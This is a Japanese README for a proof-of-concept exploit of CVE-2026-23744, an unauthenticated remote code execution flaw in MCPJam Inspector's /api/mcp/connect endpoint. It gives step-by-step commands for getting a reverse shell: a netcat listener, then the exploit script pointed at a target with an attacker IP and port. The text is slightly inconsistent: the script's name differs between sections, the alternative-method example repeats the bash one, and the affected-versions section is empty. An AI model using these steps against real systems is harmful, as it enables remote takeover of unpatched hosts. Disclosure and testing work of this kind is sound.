CVE-2026-23744 — MCPJam Inspector 未認証RCE

MCPJam Inspector <= 1.4.2 はデフォルトで 0.0.0.0 にバインドし、認証なしで /api/mcp/connect を公開します。このエンドポイントはホスト上で直接プロセスを起動する serverConfig オブジェクトを受け付けるため、リバースシェルのペイロードを渡すことで認証情報を必要とせず即座にRCEが可能となります。

要件

pip install requests

使用方法

python3 exploit.py -u <target_url> -i <lhost> -p <lport> [-m <method>]

リバースシェルの例

ステップ1 — リスナーを起動:

nc -lvnp 4444

ステップ2 — エクスプロイトを実行:

# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash

ペイロードメソッド

ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:

# bash
python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash

影響を受けるバージョン

参考資料

• CrowdSec CVE Tracker — CVE-2026-23744
• MCPJam Inspector GitHub